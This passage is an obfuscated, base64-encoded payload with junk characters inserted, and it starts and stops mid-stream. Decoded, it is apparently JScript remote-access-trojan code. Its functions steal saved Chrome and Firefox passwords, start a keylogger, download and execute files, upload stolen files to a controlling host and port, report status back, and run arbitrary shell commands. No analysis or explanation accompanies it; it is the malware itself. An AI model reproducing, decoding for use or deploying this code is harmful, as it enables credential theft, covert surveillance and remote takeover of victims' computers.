51bGw7CgkJCgkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKy>>%icnVuZGxsIik7CgkJZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKy>>%id3Nob3V0Iik7CgkJCgkJcG9zdChyZXRjbWQsIGNvbnRlbnQpOwoJfWNhdGNoKGVycil7Cgl9Cn0KCmZ1bmN0aW9uIGNocihjb2RlKXsKCXJldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKGNvZGUpOwp9CgpmdW5jdGlvbiBnc3>>%ocGF0aCl7CglyZXR1cm4gZmlsZXN5c3RlbW9iai5nZXRGaWxlKHBhdGgpLnNob3J0UGF0aDsKfQoKZnVuY3Rpb24gcGFzc2dyYWJiZXIgKGZpbGV1cmwsIGZpbGVuYW1lLCByZXRjbWQpewp0cnl7Cgl2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKCXZhciBjb250ZW50LCBwcm9maWxlLCBmb2xkZXI7CgoJaWYgKHJldGNtZC>>%9PS>>%iaWUiKXsKCQljb250ZW50ID0gZGVjb2RlX2Jhc2U2NChmaWxldXJsKTsKCQlldmFsKGNvbnRlbnQpOwoJCXJldHVybjsKCX1lbHNlIGlmKHJldGNtZC>>%9PS>>%iY2hyb21lIil7CgkJZm9sZGVyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIldGVtcCUiKTsKCQlmb2xkZXIgPSBmb2xkZXIuc3Vic3RyKD>>%sIGZvbGRlci50b0xvd2VyQ2FzZSgpLmluZGV4T2YoInRlbX>>%iKSkgKy>>%iR29vZ2xlXFxDaHJvbWVcXFVzZXIgRGF0YVxcRGVmYXVsdFxcTG9naW4gRGF0YSI7CgkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoZm9sZGVyKS>>%pewoJCQlvYmpmc29kb3dubG9hZC5jb3B5RmlsZShmb2xkZXIsIGluc3RhbGxkaXIgKy>>%iTG9naW4gRGF0YSIsIHRydWUpOwoJCQkKCQkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc2RrZmlsZSkpewoJCQkJLy8ncHJvY2VlZCBkZWNvZGluZwoJCQkJZGVjb2RlX3Bhc3MocmV0Y21kKTsKCQkJCW9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoaW5zdGFsbGRpci>>%rICJMb2dpbiBEYXRhIik7CgkJCX1lbHNlewoJCQkJLy8ncmVxdWVzdCBmb3Igc2RrCgkJCQlwb3N0KCJzaG93LXRvYXN0IiwgIldTSCBTZGsgZm9yIHBhc3N3b3JkIHJlY292ZXJ5IG5vdCBmb3VuZCwgWW91IGNhbiBpbnN0YWxsIHRoaXMgU0RLIGZyb20gdGhlIHBhc3N3b3JkIHJlY292ZXJ5IG1lbnUiKTsKCQkJfQoJCX1lbHNlewoJCQlwb3N0KHJldGNtZCwgIk5vIFBhc3N3b3JkIEZvdW5kIik7CgkJfQoJfWVsc2UgaWYocmV0Y21kID09ICJtb3ppbGxhIil7CgkJZm9sZGVyID0gc2hlbGxvYmouRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlYXBwZGF0YSUiKS>>%rICJcXE1vemlsbGFcXEZpcmVmb3hcXCI7CgkJaWYgKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMgKGZvbGRlci>>%rICJwcm9maWxlcy5pbmkiKSl7CgkJCWNvbnRlbnQgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShmb2xkZXIgKy>>%icHJvZmlsZXMuaW5pIikucmVhZGFsbCgpOwoJCQlpZi>>%oY29udGVudC5pbmRleE9mKCJQYXRoPSIpID4gMCkgewoJCQkJY29udGVudC>>%9IGNvbnRlbnQuc3Vic3RyKGNvbnRlbnQuaW5kZXhPZigiUGF0aD0iKS>>%rIDUpOwoJCQkJY29udGVudC>>%9IGNvbnRlbnQuc3Vic3RyKD>>%sIGNvbnRlbnQuaW5kZXhPZigiXHJcbiIpKTsKCQkJCXByb2ZpbGUgPS>>%oZm9sZGVyICsgY29udGVudCkucmVwbGFjZShuZXcgUmVnRXhwKCIvIiwgImciKSwgIlxcIik7CgkJCQlmb2xkZXIgPSBwcm9maWxlICsgIlxsb2dpbnMuanNvbiI7CgkJCQkKCQkJCWlmIChvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHNka2ZpbGUpKXsKCQkJCQkvLydwcm9jZWVkIGRlY29kaW5nCgkJCQkJZGVjb2RlX3Bhc3MocmV0Y21kKTsKCQkJCX1lbHNlewoJCQkJCS8vJ3JlcXVlc3QgZm9yIHNkawoJCQkJCXBvc3QoInNob3ctdG9hc3QiLC>>%iV1NIIFNkayBmb3IgcGFzc3dvcmQgcmVjb3Zlcnkgbm90IGZvdW5kLCBZb3UgY2FuIGluc3RhbGwgdGhpcyBTREsgZnJvbSB0aGUgcGFzc3dvcmQgcmVjb3ZlcnkgbWVudSIpOwoJCQkJfQoJCQl9ZWxzZXsKCQkJCXBvc3QocmV0Y21kLC>>%iTm8gUGFzc3dvcmQgRm91bmQiKTsKCQkJfQoJCX1lbHNlewoJCQlwb3N0KHJldGNtZCwgIk5vIFBhc3N3b3JkIEZvdW5kIik7CgkJfQoJfWVsc2V7CgkJcGFzc2dyYWJiZXIyKGZpbGV1cmwsIGZpbGVuYW1lLCByZXRjbWQpOwoJfQp9Y2F0Y2goZXJyKXt9CgkgIC>>%KfQoKZnVuY3Rpb24gVW5aaX>>%oemlwZmlsZSwgRXh0cmFjdFRvKXsKaWYoZmlsZXN5c3RlbW9iai5HZXRFeHRlbnNpb25OYW1lKHppcGZpbGUpID09ICJ6aX>>%iKXsKaWYoIWZpbGVzeXN0ZW1vYmouRm9sZGVyRXhpc3RzKEV4dHJhY3RUbykpewpmaWxlc3lzdGVtb2JqLkNyZWF0ZUZvbGRlcihFeHRyYWN0VG8pOwp9CnZhciBvYmpTaGVsbC>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpOwp2YXIgZGVzdGluYXRpb24gPSBvYmpTaGVsbC5OYW1lU3BhY2UoRXh0cmFjdFRvKTsKdmFyIHppcF9jb250ZW50ID0gb2JqU2hlbGwuTmFtZVNwYWNlKHppcGZpbGUpLkl0ZW1zKCk7IC>>%gCmZvcihpID0gMDsgaS>>%8IHppcF9jb250ZW50LkNvdW50OyBpKyspewppZihmaWxlc3lzdGVtb2JqLkZpbGVFeGlzdHMoZmlsZXN5c3RlbW9iai5CdWlsZHBhdGgoRXh0cmFjdFRvLHppcF9jb250ZW50Lml0ZW0oaSkubmFtZSkrIi4iK2ZpbGVzeXN0ZW1vYmouZ2V0RXh0ZW5zaW9uTmFtZSh6aXBfY29udGVudC5pdGVtKGkpLnBhdGgpKSl7CmZpbGVzeXN0ZW1vYmouRGVsZXRlRmlsZShmaWxlc3lzdGVtb2JqLkJ1aWxkcGF0aChFeHRyYWN0VG8semlwX2NvbnRlbnQuaXRlbShpKS5uYW1lKSsiLiIrZmlsZXN5c3RlbW9iai5nZXRFeHRlbnNpb25OYW1lKHppcF9jb250ZW50Lml0ZW0oaSkucGF0aCkpOwp9CmRlc3RpbmF0aW9uLmNvcHlIZXJlKHppcF9jb250ZW50Lml0ZW0oaSksIDIwKTsKfQp9Cn0KCmZ1bmN0aW9uIHBhc3NncmFiYmVyMihmaWxldXJsLCBmaWxlbmFtZSwgcmV0Y21kKXsKCnNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHRhc2traWxsIC9GIC9JTS>>%iICsgZmlsZW5hbWUsID>>%sIHRydWUpOwp0cnl7ZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKGluc3RhbGxkaXIgKyBmaWxlbmFtZS>>%rICJkYXRhIik7fWNhdGNoKGV5KXt9CnZhciBjb25maWdfZmlsZS>>%9IGluc3RhbGxkaXIgKyBmaWxlbmFtZS5zdWJzdHIoMCwgZmlsZW5hbWUubGFzdEluZGV4T2YoIi4iKSkgKy>>%iLmNmZyI7CnZhciBjZmcgPS>>%iW0dlbmVyYWxdXG5TaG93R3JpZExpbmVzPTBcblNhdmVGaWx0ZXJJbmRleD0wXG5TaG93SW5mb1RpcD0xXG5Vc2VQcm9maWxlRm9sZGVyPTBcblByb2ZpbGVGb2xkZXI9XG5NYXJrT2RkRXZlblJvd3M9MFxuV2luUG9zPTJDID>>%wID>>%wID>>%wID>>%wID>>%wID>>%wID>>%wID>>%xID>>%wID>>%wID>>%wIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGID>>%wID>>%wID>>%wID>>%wID>>%wID>>%wID>>%wID>>%wIDgwID>>%yID>>%wID>>%wIEUwID>>%xID>>%wID>>%wXG5Db2x1bW5zPUZBID>>%wID>>%wID>>%wIEZBID>>%wID>>%xID>>%wIDZFID>>%wID>>%yID>>%wIDZFID>>%wID>>%zID>>%wIDc4ID>>%wID>>%0ID>>%wIDc4ID>>%wID>>%1ID>>%wIDc4ID>>%wID>>%2ID>>%wIDY0ID>>%wID>>%3ID>>%wIEZBID>>%wID>>%4ID>>%wXG5Tb3J0PT>>%iOwovL3dyaXRlIGNvbmZpZwp2YXIgd3JpdGVyID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoY29uZmlnX2ZpbGUsIDIsIHRydWUpOwp3cml0ZXIud3JpdGVMaW5lKGNmZyk7CndyaXRlci5jbG9zZSgpOwp3cml0ZXIgPSBudWxsOwoJIC>>%gCnZhciBzdHJsaW5rID0gZmlsZXVybDsKdmFyIHN0cnNhdmV0by>>%9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsKdmFyIG9iamh0dHBkb3dubG9hZC>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwpvYmpodHRwZG93bmxvYWQub3BlbigiZ2V0Iiwgc3RybGluaywgZmFsc2UpOwpvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbDoiLC>>%ibWF4LWFnZT0wIik7Cm9iamh0dHBkb3dubG9hZC5zZW5kKCk7Cgp2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC>>%gIG9iamZzb2Rvd25sb2FkLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsKfQogCmlmIChvYmpodHRwZG93bmxvYWQuc3RhdHVzID09IDIwMCl7Ci>>%gIHZhci>>%gb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7Ci>>%gIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS>>%xOy>>%KIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOwogICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOwogICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwogICBvYmpzdHJlYW1kb3dubG9hZC>>%9IG51bGw7Cn0KaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC>>%gdmFyIHJ1bm5lci>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpOwogICB2YXIgc2F2ZXIgPSBvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoCi>>%gI>>%ogIC>>%vL3RyeS>>%xMCB0aW1lcyBiZWZvcmUgZ2l2ZXVwCi>>%gIGZvcih2YXIgaT0wOyBpPDU7IGkrKyl7CgkJc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7CgkJV1NjcmlwdC5zbGVlcCgxMD>>%wKTsKCQlydW5uZXIuc2hlbGxFeGVjdXRlKHNhdmVyLC>>%iIC9zdGV4dC>>%iICsgc2F2ZXIgKy>>%iZGF0YSIpOwoJCVdTY3JpcHQuc2xlZX>>%oMj>>%wMCk7CgkJaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzYXZlci>>%rICJkYXRhIikpewoJCQl2YXIgc3IgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShzYXZlci>>%rICJkYXRhIik7CgkJCXZhciBidWZmZXIgPSBzci5yZWFkYWxsKCk7CgkJCXNyLmNsb3NlKCk7CgkJCXNyID0gbnVsbDsKCQkJCgkJCXZhciBvdXRwYXRoID0gaW5zdGFsbGRpci>>%rICJ3c2hsb2dzXFxyZWNvdmVyZWRfcGFzc3dvcmRfZW1haWwubG9nIjsKCQkJdmFyIGZvbGRlci>>%9IG9iamZzb2Rvd25sb2FkLkdldFBhcmVudEZvbGRlck5hbWUob3V0cGF0aCk7CgoJCQlpZi>>%oIW9iamZzb2Rvd25sb2FkLkZvbGRlckV4aXN0cyhmb2xkZXIpKQoJCQl7CgkJCQlzaGVsbG9iai5ydW4oIiVjb21zcGVjJS>>%vYyBta2RpciBcIiIgKyBmb2xkZXIgKy>>%iXCIiLC>>%wLCB0cnVlKTsKCQkJfQoJCQl3cml0ZXIgPSBmaWxlc3lzdGVtb2JqLm9wZW5UZXh0RmlsZShvdXRwYXRoLC>>%yLCB0cnVlKTsKCQkJd3JpdGVyLndyaXRlKGJ1ZmZlcik7CgkJCXdyaXRlci5jbG9zZSgpOwoJCQl3cml0ZXIgPSBudWxsOwoJCQkKCQkJdXBsb2FkKHNhdmVyICsgImRhdGEiLCByZXRjbWQpOwoJCQlicmVhazsKCQl9Ci>>%gIH0KIC>>%gZGVsZXRlZmFmKHN0cnNhdmV0byk7Cn0KCn0KCmZ1bmN0aW9uIGtleWxvZ2dlcnN0YXJ0ZXIgKGZpbGV1cmwsIGZpbGVuYW1lLCBmaWxlYXJnLCBpc19vZmZsaW5lKXsKc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgdGFza2tpbGwgL0YgL0lNICIgKyBmaWxlbmFtZSwgMCwgdHJ1ZSk7CnZhciBzdHJsaW5rID0gZmlsZXVybDsKdmFyIHN0cnNhdmV0by>>%9IGluc3RhbGxkaXIgKyBmaWxlbmFtZTsKdmFyIG9iamh0dHBkb3dubG9hZC>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIgKTsKb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsKb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoImNhY2hlLWNvbnRyb2w6IiwgIm1heC1hZ2U9MCIpOwpvYmpodHRwZG93bmxvYWQuc2VuZCgpOwoKdmFyIG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Iik7CmlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7Ci>>%gICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7Cn0KI>>%ppZi>>%ob2JqaHR0cGRvd25sb2FkLnN0YXR1cy>>%9PS>>%yMD>>%pewogIHRyeXsKIC>>%gIHZhci>>%gb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7Ci>>%gICBvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsgCi>>%gICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7Ci>>%gICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKIC>>%gIG9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsKIC>>%gIG9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7Ci>>%gIC>>%KIC>>%gIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCX1jYXRjaChlcnIpewoJCXVwZGF0ZXN0YXR1cygiQWNjZXNzK0RlbmllZCIpOwoJfQogfQogaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC>>%gc2hlbGxvYmoucnVuKCJcIiIgKyBzdHJzYXZldG8gKy>>%iXCIgIi>>%rIGhvc3QgKy>>%iICIgKyBwb3J0ICsgIiBcIiIgKyBmaWxlYXJnICsgIlwiICIgKyBpc19vZmZsaW5lKTsKIH0gCn0KCmZ1bmN0aW9uIHNlcnZpY2VzdGFydGVyIChmaWxldXJsLCBmaWxlbmFtZSwgZmlsZWFyZyl7Ci>>%gICBzaGVsbG9iai5ydW4oIiVjb21zcGVjJS>>%vYyB0YXNra2lsbC>>%vRi>>%vSU0gIi>>%rIGZpbGVuYW1lLC>>%wLCB0cnVlKTsKIC>>%gIHZhciBzdHJsaW5rID0gZmlsZXVybDsKIC>>%gIHZhciBzdHJzYXZldG8gPSBpbnN0YWxsZGlyICsgZmlsZW5hbWU7Ci>>%gICB2YXIgb2JqaHR0cGRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIm1zeG1sMi54bWxodHRwIi>>%pOwogIC>>%gb2JqaHR0cGRvd25sb2FkLm9wZW4oImdldCIsIHN0cmxpbmssIGZhbHNlKTsKIC>>%gIG9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXN0SGVhZGVyKCJjYWNoZS1jb250cm9sOiIsICJtYXgtYWdlPT>>%iKTsKIC>>%gIG9iamh0dHBkb3dubG9hZC5zZW5kKCk7Ci>>%gIC>>%KIC>>%gIHZhciBvYmpmc29kb3dubG9hZC>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOwogIC>>%gaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC>>%gIC>>%gICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7Ci>>%gICB9Ci>>%gIC>>%gCi>>%gICBpZi>>%ob2JqaHR0cGRvd25sb2FkLnN0YXR1cy>>%9PS>>%yMD>>%pewoJICB0cnl7Ci>>%gIC>>%gIC>>%gdmFyICBvYmpzdHJlYW1kb3dubG9hZC>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsKIC>>%gIC>>%gICBvYmpzdHJlYW1kb3dubG9hZC5UeXBlID0gMTsgCi>>%gIC>>%gIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuT3BlbigpOwogIC>>%gIC>>%gIG9ianN0cmVhbWRvd25sb2FkLldyaXRlKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOwogIC>>%gIC>>%gIG9ianN0cmVhbWRvd25sb2FkLlNhdmVUb0ZpbGUoc3Ryc2F2ZXRvKTsKIC>>%gIC>>%gICBvYmpzdHJlYW1kb3dubG9hZC5jbG9zZSgpOwogIC>>%gIC>>%gI>>%ogIC>>%gIC>>%gIG9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCS>>%gfWNhdGNoKGVycil7CgkJdXBkYXRlc3RhdHVzKCJBY2Nlc3MrRGVuaWVkIik7CgkgIH0KIC>>%gICB9Ci>>%gIC>>%gaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC>>%gIC>>%gICBzaGVsbG9iai5ydW4oIlwiIi>>%rIHN0cnNhdmV0by>>%rICJcIi>>%iICsgaG9zdC>>%rICIgIi>>%rIHBvcnQgKy>>%iIFwiIi>>%rIGZpbGVhcmcgKy>>%iXCIiKTsKIC>>%gIC>>%gfS>>%gCn0KCmZ1bmN0aW9uIHNpdGVkb3dubG9hZGVyIChmaWxldXJsLGZpbGVuYW1lKXsKCi>>%gICB2YXIgc3RybGluay>>%9IGZpbGV1cmw7Ci>>%gICB2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpci>>%rIGZpbGVuYW1lOwogIC>>%gdmFyIG9iamh0dHBkb3dubG9hZC>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIuc2VydmVyeG1saHR0cCIgKTsKIC>>%gIG9iamh0dHBkb3dubG9hZC5vcGVuKCJnZXQiLCBzdHJsaW5rLCBmYWxzZSk7Ci>>%gICBvYmpodHRwZG93bmxvYWQuc2V0UmVxdWVzdEhlYWRlcigiY2FjaGUtY29udHJvbCIsICJtYXgtYWdlPT>>%iKTsKIC>>%gIG9iamh0dHBkb3dubG9hZC5zZW5kKCk7Ci>>%gIC>>%KIC>>%gIHZhciBvYmpmc29kb3dubG9hZC>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpOwogIC>>%gaWYob2JqZnNvZG93bmxvYWQuZmlsZUV4aXN0cyhzdHJzYXZldG8pKXsKIC>>%gIC>>%gICBvYmpmc29kb3dubG9hZC5kZWxldGVGaWxlKHN0cnNhdmV0byk7Ci>>%gICB9Ci>>%gIC>>%gCi>>%gICBpZi>>%ob2JqaHR0cGRvd25sb2FkLnN0YXR1cy>>%9PS>>%yMD>>%pewogIC>>%gIC>>%gIHZhci>>%gb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiYWRvZGIuc3RyZWFtIik7Ci>>%gIC>>%gIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuVHlwZS>>%9IDE7I>>%ogIC>>%gIC>>%gIG9ianN0cmVhbWRvd25sb2FkLk9wZW4oKTsKIC>>%gIC>>%gICBvYmpzdHJlYW1kb3dubG9hZC5Xcml0ZShvYmpodHRwZG93bmxvYWQucmVzcG9uc2VCb2R5KTsKIC>>%gIC>>%gICBvYmpzdHJlYW1kb3dubG9hZC5TYXZlVG9GaWxlKHN0cnNhdmV0byk7Ci>>%gIC>>%gIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsKIC>>%gIC>>%gIC>>%KIC>>%gIC>>%gICBvYmpzdHJlYW1kb3dubG9hZC>>%9IG51bGw7Ci>>%gIC>>%gfQogIC>>%gIGlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7Ci>>%gIC>>%gIC>>%gc2hlbGxvYmoucnVuKG9iamZzb2Rvd25sb2FkLmdldEZpbGUoc3Ryc2F2ZXRvKS5zaG9ydFBhdGgpOwogIC>>%gIC>>%gIHVwZGF0ZXN0YXR1cygiRXhlY3V0ZWQrRmlsZSIpOwogIC>>%gIH0KfQoKZnVuY3Rpb24gZG93bmxvYWQgKGZpbGV1cmwsZmlsZWRpcil7Ci>>%gICBpZihmaWxlZGlyID09ICIiKXsgCi>>%gICBmaWxlZGlyID0gaW5zdGFsbGRpcjsKIC>>%gIH0KCi>>%gICBzdHJzYXZldG8gPSBmaWxlZGlyICsgZmlsZXVybC5zdWJzdHIoZmlsZXVybC5sYXN0SW5kZXhPZigiXFwiKS>>%rIDEpOwogIC>>%gdmFyIG9iamh0dHBkb3dubG9hZC>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwogIC>>%gb2JqaHR0cGRvd25sb2FkLm9wZW4oInBvc3QiLCJodHRwOi8vIi>>%rIGhvc3QgKy>>%iOiIgKyBwb3J0ICsiLyIgKy>>%ic2VuZC10by1tZSIgKyBzcGxpdGVyICsgZmlsZXVybCwgZmFsc2UpOwogIC>>%gb2JqaHR0cGRvd25sb2FkLnNldFJlcXVlc3RIZWFkZXIoInVzZXItYWdlbnQ6IiwgaW5mb3JtYXRpb24oKSk7Ci>>%gICBvYmpodHRwZG93bmxvYWQuc2VuZCgiIik7Ci>>%gIC>>%gIC>>%gCi>>%gICB2YXIgb2JqZnNvZG93bmxvYWQgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKTsKIC>>%gIGlmKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSl7Ci>>%gIC>>%gIC>>%gb2JqZnNvZG93bmxvYWQuZGVsZXRlRmlsZShzdHJzYXZldG8pOwogIC>>%gfQogIC>>%gI>>%ogIC>>%gaWYgKG9iamh0dHBkb3dubG9hZC5zdGF0dXMgPT0gMj>>%wKXsKIC>>%gIC>>%gICB2YXIgIG9ianN0cmVhbWRvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoImFkb2RiLnN0cmVhbSIpOwogIC>>%gIC>>%gIG9ianN0cmVhbWRvd25sb2FkLlR5cGUgPS>>%xOy>>%KIC>>%gIC>>%gICBvYmpzdHJlYW1kb3dubG9hZC5PcGVuKCk7Ci>>%gIC>>%gIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuV3JpdGUob2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlQm9keSk7Ci>>%gIC>>%gIC>>%gb2Jqc3RyZWFtZG93bmxvYWQuU2F2ZVRvRmlsZShzdHJzYXZldG8pOwogIC>>%gIC>>%gIG9ianN0cmVhbWRvd25sb2FkLmNsb3NlKCk7Ci>>%gIC>>%gIC>>%gCi>>%gIC>>%gIC>>%gb2Jqc3RyZWFtZG93bmxvYWQgPSBudWxsOwogIC>>%gIH0KIC>>%gICBpZihvYmpmc29kb3dubG9hZC5maWxlRXhpc3RzKHN0cnNhdmV0bykpewogIC>>%gIC>>%gIHNoZWxsb2JqLnJ1bihvYmpmc29kb3dubG9hZC5nZXRGaWxlKHN0cnNhdmV0bykuc2hvcnRQYXRoKTsKIC>>%gIC>>%gICB1cGRhdGVzdGF0dXMoIkV4ZWN1dGVkK0ZpbGUiKTsKIC>>%gICB9I>>%p9CgpmdW5jdGlvbiB1cGRhdGVzdGF0dXMoc3RhdHVzX21zZyl7CnRyeXsKCXZhciBvYmpzb2MgPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dH>>%iKTsKCW9ianNvYy5vcGVuKCJwb3N0IiwiaHR0cDovLyIgKyBob3N0ICsgIjoiICsgcG9ydC>>%rICIvIi>>%rICJ1cGRhdGUtc3RhdHVzIi>>%rIHNwbGl0ZXIgKyBzdGF0dXNfbXNnLCBmYWxzZSk7CglvYmpzb2Muc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsKCW9ianNvYy5zZW5kKCIiKTsKCX1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gdXBsb2FkIChmaWxldXJsLCByZXRjbWQpewoJdHJ5ewoJCXZhci>>%gaHR0cG9iaixvYmpzdHJlYW11cGxvYWRlLGJ1ZmZlcjsKCQl2YXIgb2Jqc3RyZWFtdXBsb2FkZS>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJhZG9kYi5zdHJlYW0iKTsKCQlvYmpzdHJlYW11cGxvYWRlLlR5cGUgPS>>%xOy>>%KCQlvYmpzdHJlYW11cGxvYWRlLk9wZW4oKTsKCQlvYmpzdHJlYW11cGxvYWRlLmxvYWRGcm9tRmlsZShmaWxldXJsKTsKCQlidWZmZXIgPSBvYmpzdHJlYW11cGxvYWRlLlJlYWQoKTsKCQlvYmpzdHJlYW11cGxvYWRlLmNsb3NlKCk7CgoJCW9ianN0cmVhbWRvd25sb2FkID0gbnVsbDsKCQl2YXIgaHR0cG9iai>>%9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCJtc3htbDIueG1saHR0cCIpOwoJCWh0dHBvYmoub3BlbigicG9zdCIsImh0dH>>%6Ly8iICsgaG9zdC>>%rICI6Ii>>%rIHBvcnQgKyIvIi>>%rIHJldGNtZCwgZmFsc2UpOwoJCWh0dHBvYmouc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsKCQlodHRwb2JqLnNlbmQoYnVmZmVyKTsKCX1jYXRjaChlcil7CgkJdXBkYXRlc3RhdHVzKCJVcGxvYWQrRmFpbGVkIik7Cgl9Cn0KCgpmdW5jdGlvbiBkZWxldGVmYWYgKHVybCl7CnRyeXsKZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKHVybCk7CmZpbGVzeXN0ZW1vYmouZGVsZXRlRm9sZGVyKHVybCk7Cn1jYXRjaChlcnIpe30KfQoKZnVuY3Rpb24gY21kc2hlbGwgKGNtZCl7CnZhciBodHRwb2JqLG9leGVjLHJlYWRhbGxmcm9tYW55Owp2YXIgc3Ryc2F2ZXRvID0gaW5zdGFsbGRpci>>%rICJvdXQudHh0IjsKc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgIi>>%rIGNtZC>>%rICIgPiBcIiIgKyBzdHJzYXZldG8gKy>>%iXCIiLC>>